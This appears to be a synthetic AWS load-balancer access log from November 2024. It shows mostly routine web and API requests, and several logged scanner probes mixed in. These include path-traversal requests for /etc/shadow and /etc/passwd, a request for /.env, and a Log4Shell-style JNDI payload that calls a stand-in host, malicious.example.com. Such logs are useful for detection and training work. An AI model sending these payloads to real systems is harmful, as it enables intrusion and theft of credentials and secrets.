"Root=1-6723cb7f-bd400b1a2cb849daa886dd6f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:25:03.939358Z "forward" "-" "-" "10.0.36.44:443" "200" "-" "-" -https 2024-11-01T01:25:05.792633Z prod-api-alb 156.145.42.97:29241 10.0.55.121:443 0.006979 0.263434 0.074000 200 200 851 8107 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb81-d42706ba3b9a470088b0472f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:05.792633Z "forward" "-" "-" "10.0.55.121:443" "200" "-" "-" -https 2024-11-01T01:25:07.682210Z prod-web-alb 194.85.83.90:46826 10.0.229.207:443 0.018949 0.074760 0.038187 200 200 624 9901 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb83-02c1e2f5262d49b9a72f7060" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:07.682210Z "forward" "-" "-" "10.0.229.207:443" "200" "-" "-" -https 2024-11-01T01:25:09.518451Z prod-api-alb 243.117.48.149:14153 10.0.27.175:443 0.005712 0.086048 0.065606 301 301 695 1169 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb85-598ce4a61bf9404cbfc280d8" "-" "-" 9 2024-11-01T01:25:09.518451Z "forward" "-" "-" "10.0.27.175:443" "301" "-" "-" -https 2024-11-01T01:25:10.935060Z prod-api-alb 149.50.229.33:52402 10.0.112.37:443 0.002965 0.052888 0.007981 404 404 228 4408 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb86-ae9f0c8c51ba43048c476720" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:10.935060Z "forward" "-" "-" "10.0.112.37:443" "404" "-" "-" -https 2024-11-01T01:25:11.749665Z prod-api-alb 128.229.150.46:19074 10.0.24.165:443 0.084718 0.134336 0.068432 301 301 898 8120 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb87-39d29ab680aa40a79f97be7c" "-" "-" 9 2024-11-01T01:25:11.749665Z "forward" "-" "-" "10.0.24.165:443" "301" "-" "-" -https 2024-11-01T01:25:13.665615Z prod-web-alb 148.176.48.176:43376 10.0.23.198:443 0.008427 0.085700 0.001788 302 302 86 9158 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb89-866c5172c3734e6faafbc845" "-" "-" 0 2024-11-01T01:25:13.665615Z "forward" "-" "-" "10.0.23.198:443" "302" "-" "-" -https 2024-11-01T01:25:14.244315Z prod-web-alb 87.23.132.252:31446 10.0.16.238:443 0.016810 0.068957 0.000292 301 301 791 13471 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb8a-cc24ff5802414a3fb656bcf1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:25:14.244315Z "forward" "-" "-" "10.0.16.238:443" "301" "-" "-" -https 2024-11-01T01:25:15.858891Z prod-web-alb 165.28.34.151:23911 10.0.125.52:443 0.019066 0.353102 0.048121 200 200 223 7785 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8b-c0930618f9754ac1b5d122c9" "prod-web-alb.example.com" "-" 8 2024-11-01T01:25:15.858891Z "forward" "-" "-" "10.0.125.52:443" "200" "-" "-" -https 2024-11-01T01:25:16.499132Z prod-api-alb 119.195.90.29:23555 10.0.99.201:443 0.065963 0.498842 0.053730 200 200 341 6719 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8c-79568e2ada6346e8b41c7d38" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:16.499132Z "forward" "-" "-" "10.0.99.201:443" "200" "-" "-" -https 2024-11-01T01:25:17.035085Z prod-api-alb 57.80.145.178:64794 10.0.56.226:443 0.070991 0.207875 0.027703 200 200 436 7269 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8d-bcf115dd0bde4e3e917c075f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:17.035085Z "forward" "-" "-" "10.0.56.226:443" "200" "-" "-" -https 2024-11-01T01:25:17.670621Z prod-api-alb 6.20.139.106:59549 10.0.232.62:443 0.032505 0.151954 0.074824 404 404 393 345 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8d-7a548a87d80c4b07ae864af3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:17.670621Z "forward" "-" "-" "10.0.232.62:443" "404" "-" "-" -http 2024-11-01T01:25:18.340216Z staging-alb 193.27.228.174:26131 50.142.95.44:8080 0.148008 0.525103 0.056231 404 404 966 6243 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb8e-7a95092377e442188ec8d0e5" "-" "-" 5 2024-11-01T01:25:18.340216Z "forward" "-" "-" "50.142.95.44:8080" "404" "-" "-" -https 2024-11-01T01:25:18.890650Z prod-web-alb 193.27.228.118:61892 10.0.55.172:443 0.044641 0.090774 0.069689 500 500 779 5594 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8e-fde2a8ec8b534728813fdda1" "-" "-" 7 2024-11-01T01:25:18.890650Z "forward" "-" "-" "10.0.55.172:443" "500" "-" "-" -https 2024-11-01T01:25:19.853532Z prod-web-alb 86.228.112.155:57603 10.0.109.114:443 0.028823 0.207599 0.098973 404 404 125 14045 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8f-825b1d913feb48f1b55eb613" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:19.853532Z "forward" "-" "-" "10.0.109.114:443" "404" "-" "-" -https 2024-11-01T01:25:21.564195Z staging-alb 255.35.164.6:10505 182.74.252.236:8080 0.001738 0.177314 0.118325 404 404 584 677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb91-34be4b25295b41079eae4f93" "staging-alb.example.com" "-" 8 2024-11-01T01:25:21.564195Z "forward" "-" "-" "182.74.252.236:8080" "404" "-" "-" -https 2024-11-01T01:25:23.064754Z prod-web-alb 48.140.197.130:35724 10.0.187.239:443 0.088898 0.115127 0.078196 200 200 514 1329 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb93-f1fb3efecd77476ea334d591" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:23.064754Z "forward" "-" "-" "10.0.187.239:443" "200" "-" "-" -https 2024-11-01T01:25:24.950993Z prod-api-alb 162.117.251.73:59022 10.0.179.35:443 0.078340 0.312971 0.087563 200 200 548 11029 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb94-c2ffb0635b8d498ebd6f7609" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:24.950993Z "forward" "-" "-" "10.0.179.35:443" "200" "-" "-" -https 2024-11-01T01:25:25.051019Z staging-alb 24.7.183.36:60648 90.83.114.112:8080 0.079052 0.247644 0.104238 404 404 735 10241 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb95-b4f19b2c2c8b41129057fc09" "staging-alb.example.com" "-" 10 2024-11-01T01:25:25.051019Z "forward" "-" "-" "90.83.114.112:8080" "404" "-" "-" -http 2024-11-01T01:25:26.368724Z staging-alb 8.89.187.40:47911 185.80.172.171:80 0.127783 0.290268 0.149270 200 200 342 14076 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb96-0a1ed582cfe241fc86257864" "staging-alb.example.com" "-" 10 2024-11-01T01:25:26.368724Z "forward" "-" "-" "185.80.172.171:80" "200" "-" "-" -https 2024-11-01T01:25:26.801467Z prod-web-alb 193.197.212.98:34016 10.0.196.122:443 0.060482 0.369715 0.079805 200 200 717 3025 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb96-7387771079d44a90ba67a487" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:26.801467Z "forward" "-" "-" "10.0.196.122:443" "200" "-" "-" -https 2024-11-01T01:25:27.165972Z prod-api-alb 135.174.198.112:26305 10.0.101.14:443 0.091600 0.465162 0.033887 301 301 561 2284 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb97-c05c9ae44119417a8d991e2a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:27.165972Z "forward" "-" "-" "10.0.101.14:443" "301" "-" "-" -http 2024-11-01T01:25:29.045394Z staging-alb 192.65.121.159:59668 26.114.144.160:443 0.055368 0.457570 0.008394 200 200 134 8618 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb99-48800ec3f04b44b7a37a405a" "staging-alb.example.com" "-" 8 2024-11-01T01:25:29.045394Z "forward" "-" "-" "26.114.144.160:443" "200" "-" "-" -https 2024-11-01T01:25:30.488040Z staging-alb 186.14.141.120:15920 90.177.231.145:8080 0.065460 0.612078 0.120964 200 200 774 10492 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb9a-32b39c62880e46879264e2d1" "staging-alb.example.com" "-" 7 2024-11-01T01:25:30.488040Z "forward" "-" "-" "90.177.231.145:8080" "200" "-" "-" -https 2024-11-01T01:25:31.248381Z prod-api-alb 127.169.136.54:57030 10.0.195.143:443 0.017368 0.403564 0.074817 404 404 818 4655 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb9b-84b34a90a09f4c9ca09e773b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:31.248381Z "forward" "-" "-" "10.0.195.143:443" "404" "-" "-" -https 2024-11-01T01:25:31.556403Z staging-alb 166.92.219.210:26954 29.119.242.146:80 0.068593 0.547187 0.131522 200 200 638 6883 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb9b-cf467231560f4b46939352c7" "staging-alb.example.com" "-" 5 2024-11-01T01:25:31.556403Z "forward" "-" "-" "29.119.242.146:80" "200" "-" "-" -https 2024-11-01T01:25:32.393277Z prod-api-alb 54.114.6.93:40450 10.0.173.28:443 0.029772 0.369283 0.079613 404 404 340 1665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb9c-8c7aaf1726f8413b9194e60c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:32.393277Z "forward" "-" "-" "10.0.173.28:443" "404" "-" "-" -http 2024-11-01T01:25:33.063650Z staging-alb 54.61.0.222:16681 194.232.186.0:8080 0.144641 0.265208 0.098922 302 302 88 14657 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb9d-4a1f5af9cd4545f4b7f1b098" "staging-alb.example.com" "-" 4 2024-11-01T01:25:33.063650Z "forward" "-" "-" "194.232.186.0:8080" "302" "-" "-" -https 2024-11-01T01:25:33.854919Z staging-alb 143.240.180.13:21327 163.221.156.196:8080 0.014140 0.623331 0.040233 302 302 456 3189 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb9d-f4a4f9bbe576470083d326c8" "staging-alb.example.com" "-" 6 2024-11-01T01:25:33.854919Z "forward" "-" "-" "163.221.156.196:8080" "302" "-" "-" -https 2024-11-01T01:25:34.807593Z prod-api-alb 117.124.51.199:38063 10.0.135.66:443 0.036646 0.250538 0.062801 200 200 307 10051 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb9e-03ce34f37ef2458d8a9d0b40" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:34.807593Z "forward" "-" "-" "10.0.135.66:443" "200" "-" "-" -https 2024-11-01T01:25:36.180697Z prod-api-alb 147.245.208.124:37887 10.0.43.244:443 0.000923 0.247386 0.080090 200 200 59 12446 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba0-e0eaee63617e4b379a0f00b1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:36.180697Z "forward" "-" "-" "10.0.43.244:443" "200" "-" "-" -https 2024-11-01T01:25:36.422210Z prod-web-alb 11.122.175.225:60467 10.0.8.246:443 0.071226 0.214231 0.021973 200 200 857 9895 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cba0-5b502a07331649dab4b1be6b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:25:36.422210Z "forward" "-" "-" "10.0.8.246:443" "200" "-" "-" -http 2024-11-01T01:25:38.073037Z staging-alb 45.155.205.51:22463 202.132.183.126:80 0.105132 0.637302 0.084069 403 403 812 8157 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cba2-5386321431124c59adc3fd1a" "-" "-" 8 2024-11-01T01:25:38.073037Z "forward" "-" "-" "202.132.183.126:80" "403" "-" "-" -https 2024-11-01T01:25:39.008475Z prod-api-alb 253.94.220.33:26437 10.0.30.219:443 0.068436 0.443472 0.084329 200 200 505 2385 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cba3-814ba34c8d1f4201b6b11b12" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:39.008475Z "forward" "-" "-" "10.0.30.219:443" "200" "-" "-" -https 2024-11-01T01:25:39.367635Z prod-api-alb 52.163.115.168:19744 10.0.193.54:443 0.002301 0.464692 0.063373 200 200 832 2350 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba3-0408baadcd544695b7c42fc8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:39.367635Z "forward" "-" "-" "10.0.193.54:443" "200" "-" "-" -http 2024-11-01T01:25:39.876764Z staging-alb 102.228.31.197:50144 235.202.161.124:443 0.030195 0.511687 0.048084 301 301 316 5599 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cba3-6cdbdaa5df534c228fef8c17" "staging-alb.example.com" "-" 1 2024-11-01T01:25:39.876764Z "forward" "-" "-" "235.202.161.124:443" "301" "-" "-" -https 2024-11-01T01:25:41.097157Z prod-web-alb 56.215.91.216:35305 10.0.219.85:443 0.074684 0.498392 0.024153 200 200 650 11929 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cba5-2030e8919eb748189a3f6022" "prod-web-alb.example.com" "-" 8 2024-11-01T01:25:41.097157Z "forward" "-" "-" "10.0.219.85:443" "200" "-" "-" -https 2024-11-01T01:25:42.209372Z prod-web-alb 54.139.59.75:64149 10.0.51.137:443 0.087654 0.299035 0.035975 404 404 862 8295 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cba6-14018b0958374945ac26239f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:25:42.209372Z "forward" "-" "-" "10.0.51.137:443" "404" "-" "-" -https 2024-11-01T01:25:43.948608Z prod-api-alb 53.49.246.195:31682 10.0.171.33:443 0.018837 0.472320 0.004023 404 404 552 10544 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cba7-2650da2acb214ff8aa5560a9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:25:43.948608Z "forward" "-" "-" "10.0.171.33:443" "404" "-" "-" -https 2024-11-01T01:25:45.751873Z prod-api-alb 86.184.7.174:25809 10.0.213.39:443 0.037650 0.010434 0.060434 404 404 91 4725 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba9-55ea200e11914e24a060e108" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:45.751873Z "forward" "-" "-" "10.0.213.39:443" "404" "-" "-" -https 2024-11-01T01:25:46.147607Z prod-api-alb 16.152.13.159:19008 10.0.38.198:443 0.020269 0.112959 0.006154 200 200 808 14481 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbaa-1599eb7e2e624d7fb3072ae8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:46.147607Z "forward" "-" "-" "10.0.38.198:443" "200" "-" "-" -https 2024-11-01T01:25:47.734546Z prod-web-alb 42.55.178.164:32501 10.0.100.203:443 0.027950 0.254117 0.044562 200 200 51 10294 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbab-4b2706e8340145d2aff909b6" "prod-web-alb.example.com" "-" 3 2024-11-01T01:25:47.734546Z "forward" "-" "-" "10.0.100.203:443" "200" "-" "-" -https 2024-11-01T01:25:47.948934Z prod-web-alb 51.165.180.209:36935 10.0.137.1:443 0.085193 0.085763 0.068724 404 404 892 3636 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbab-56802c739c1440788c0c4e28" "prod-web-alb.example.com" "-" 10 2024-11-01T01:25:47.948934Z "forward" "-" "-" "10.0.137.1:443" "404" "-" "-" -https 2024-11-01T01:25:49.827733Z prod-api-alb 182.170.28.223:21043 10.0.3.91:443 0.010051 0.408988 0.002755 302 302 625 11837 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbad-35d4137be9754626ac051f7b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:25:49.827733Z "forward" "-" "-" "10.0.3.91:443" "302" "-" "-" -https 2024-11-01T01:25:51.553128Z staging-alb 232.216.97.86:19561 108.246.41.211:8080 0.114440 0.708690 0.032109 200 200 65 4783 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbaf-46cb2fc6e2954942b078e7d2" "staging-alb.example.com" "-" 0 2024-11-01T01:25:51.553128Z "forward" "-" "-" "108.246.41.211:8080" "200" "-" "-" -http 2024-11-01T01:25:53.431842Z staging-alb 253.47.216.197:38198 101.203.76.76:80 0.059457 0.375613 0.029079 302 302 945 7477 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbb1-21de689982534f70916cfc22" "staging-alb.example.com" "-" 3 2024-11-01T01:25:53.431842Z "forward" "-" "-" "101.203.76.76:80" "302" "-" "-" -https 2024-11-01T01:25:54.601281Z prod-api-alb 45.155.205.157:18994 10.0.145.200:443 0.022575 0.349272 0.076304 404 404 805 4209 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbb2-ff32c6fe0e9a4bd4ab82f335" "-" "-" 5 2024-11-01T01:25:54.601281Z "forward" "-" "-" "10.0.145.200:443" "404" "-" "-" -http 2024-11-01T01:25:55.147809Z staging-alb 206.121.7.72:36313 73.150.221.255:8080 0.018362 0.384054 0.086206 200 200 934 1718 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbb3-7baa2fb92b884b5ca3951eec" "staging-alb.example.com" "-" 3 2024-11-01T01:25:55.147809Z "forward" "-" "-" "73.150.221.255:8080" "200" "-" "-" -http 2024-11-01T01:25:55.630970Z staging-alb 148.97.133.124:23346 179.223.118.250:8080 0.097244 0.119246 0.121496 302 302 84 4813 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbb3-7f0380aa6a904ba2a428c803" "staging-alb.example.com" "-" 4 2024-11-01T01:25:55.630970Z "forward" "-" "-" "179.223.118.250:8080" "302" "-" "-" -https 2024-11-01T01:25:55.796866Z prod-web-alb 185.181.15.100:57438 10.0.103.117:443 0.021957 0.021281 0.091328 301 301 114 13004 "GET /.env HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbb3-d0282c4c6bf14762b3b9a2a6" "-" "-" 4 2024-11-01T01:25:55.796866Z "forward" "-" "-" "10.0.103.117:443" "301" "-" "-" -https 